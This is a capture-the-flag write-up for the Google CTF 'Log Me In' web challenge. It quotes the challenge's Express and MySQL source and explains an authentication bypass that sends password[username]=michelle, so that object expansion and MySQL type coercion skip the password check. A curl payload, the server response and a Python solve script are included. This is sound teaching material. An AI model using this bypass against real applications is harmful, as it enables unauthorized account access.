Skip to content

Instantly share code, notes, and snippets.

@roerohan
Created August 31, 2020 20:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save roerohan/2cd049472c603d42254f6c3c302a91f3 to your computer and use it in GitHub Desktop.
Save roerohan/2cd049472c603d42254f6c3c302a91f3 to your computer and use it in GitHub Desktop.
Google CTF: log me in writeup

Log Me In

Author: roerohan

Requirements

  • Express.js
  • Body Parser

Source

Log in to get the flag
/**
 * @fileoverview Description of this file.
 */

const mysql = require('mysql');
const express = require('express');
const cookieSession = require('cookie-session');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');

const flagValue = "..."
const targetUser = "michelle"

const {
  v4: uuidv4
} = require('uuid');

const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);

/* strict routing to prevent /note/ paths etc. */
app.set('strict routing', true)
app.use(cookieParser());

/* secure session in cookie */
app.use(cookieSession({
  name: 'session',
  keys: ['...'] //don't even bother
}));

app.use(bodyParser.urlencoded({
  extended: true
}))

app.use(function(req, res, next) {
  if(req && req.session && req.session.username) {
    res.locals.username = req.session.username
    res.locals.flag = req.session.flag
  } else {
    res.locals.username = false
    res.locals.flag = false
  }
  next()
});

/* server static files from static folder */
app.use('/static', express.static('static'))

app.use(function( req, res, next) {
  if(req.get('X-Forwarded-Proto') == 'http') {
      res.redirect('https://' + req.headers.host + req.url)
  } else {
    if (process.env.DEV) {
      return next()
    } else  {
    return next()
    }
  }
});
// MIDDLEWARE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

/* csrf middleware, csrf_token stored in the session cookie */
const csrf = (req, res, next) => {
  const csrf = uuidv4();
  req.csrf = req.session.csrf || uuidv4();
  req.session.csrf = csrf;
  res.locals.csrf = csrf;

  nocache(res);

  if (req.method == 'POST' && req.csrf !== req.body.csrf) {
    return res.render('index', {error: 'Invalid CSRF token'});
  }

  next();
}

/* disable cache on specifc endpoints */
const nocache = (res) => {
  res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');
  res.setHeader('Pragma', 'no-cache');
  res.setHeader('Expires', '0');
}

/* auth middleware */
const auth = (req, res, next) => {
  if (!req.session || !req.session.username) {
    return res.render('index', {error:"You must be logged in to access that"});
  }
  next()
}

// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`
app.get('/logout', (req, res) => {
  req.session = null;
  res.redirect('/');
});


app.get('/', csrf, (req, res) => {
  res.render('index');
});

app.get('/about', (req, res) => {
  res.render('about');

});
app.get('/me', auth, (req, res) => {
  res.render('profile');
});

app.get('/flag', csrf, auth, (req, res) => {
  res.render('premium')
});

app.get('/login', (req, res) => {
  res.render('login');
});

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    } else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } else {
      res.render('login', {error: "Invalid username or password"})
    }
  });
});

/*
 * ...SNIP...
 */

Exploitation

When you look at the source code, you'll notice the following snippet:

app.use(bodyParser.urlencoded({
  extended: true
}))

This tells body parser to allow arrays and objects in the request body. So you can pass things like:

username[]=a&username[]=b

This is interpreted as username = ['a', 'b']

Similarly, 

username[hello]=a

Is interpreted as username = {hello: 'a'}

Now, you see in the /login POST route that the output has not been stringified (no .toString()). Which means it is possible to pass an object in the query statement.

const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], function(err, qResult) {...});

Now, let's see if passing an objectto the con.query function might help us. We'll refer to the official mysql docs.

Take a look at this example:

var post  = {id: 1, title: 'Hello MySQL'};
var query = connection.query('INSERT INTO posts SET ?', post, function (error, results, fields) {
  if (error) throw error;
  // Neat!
});
console.log(query.sql); // INSERT INTO posts SET `id` = 1, `title` = 'Hello MySQL'

We can see that objects are converted into comma separated attributes. We know that the username is supposed to be michelle, but we do not know the password. So, we can try to pass an object in the place of password, with a known attribute. Here's the payload I tried:

csrf&username=michelle&password[username]=michelle

This makes password an object as shown below:

{
  username: 'michelle',
}

Now, the query becomes something like:

con.query('Select * from users where username = ? and password = ?', ['michelle', {username: 'michelle'}], function(err, qResult) {...});

This actually evaluates to:

"Select * from users where username = 'michelle' and password = `username` = 'michelle';"

This works because of the way mysql evaluates strings. When you evaluate 'password' = 'username', it returns a 0. Then, if you compare 0 and 'michelle', true is returned. This happens because of the way type-casting is done in mysql.

This exploit would work for any string (not just michelle) except the ones which get type-casted to a different number.

For example, 0 = '1michelle' will evaluate to false, since 1michelle when converted to an integer gives 1. Therefore, password[username] = 1michelle will not allow you to log in successfully. Check out this link for a more detailed explanation.

Here's the final paylaod.

curl -i -X POST --data 'csrf&username=michelle&password[username]=michelle' "https://log-me-in.web.ctfcompetition.com/login"

HTTP/2 302 
content-type: text/plain; charset=utf-8
x-powered-by: Express
location: /me
vary: Accept
set-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponly
set-cookie: session.sig=bm5eHrmgRjBNmerS49mKNDV_tP4; path=/; httponly
x-cloud-trace-context: 51c2e656058a1cc31a265b3a8ad0d4b1
date: Mon, 24 Aug 2020 06:53:43 GMT
server: Google Frontend
content-length: 25

Found. Redirecting to /me

From here, you can just take the cookie you received, and use that to visit /flag.

P.S. you can write a python script for the exploit, like the one given below:

import requests
import re

url = lambda path: 'https://log-me-in.web.ctfcompetition.com' + path

s = requests.Session()

payload = {
    "username": "michelle",
    "password[username]": "michelle",
    "csrf": "",
}

r = s.post(url('/login'), data=payload)

r = s.get(url('/flag'))

if re.search(r'CTF{.*}', r.text):
    print(r.text)

You can run this script and use grep to find the flag.

$ python solve.py | grep CTF
        <p>Flag: CTF{a-premium-effort-deserves-a-premium-flag}</p>

The flag is:

CTF{a-premium-effort-deserves-a-premium-flag}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment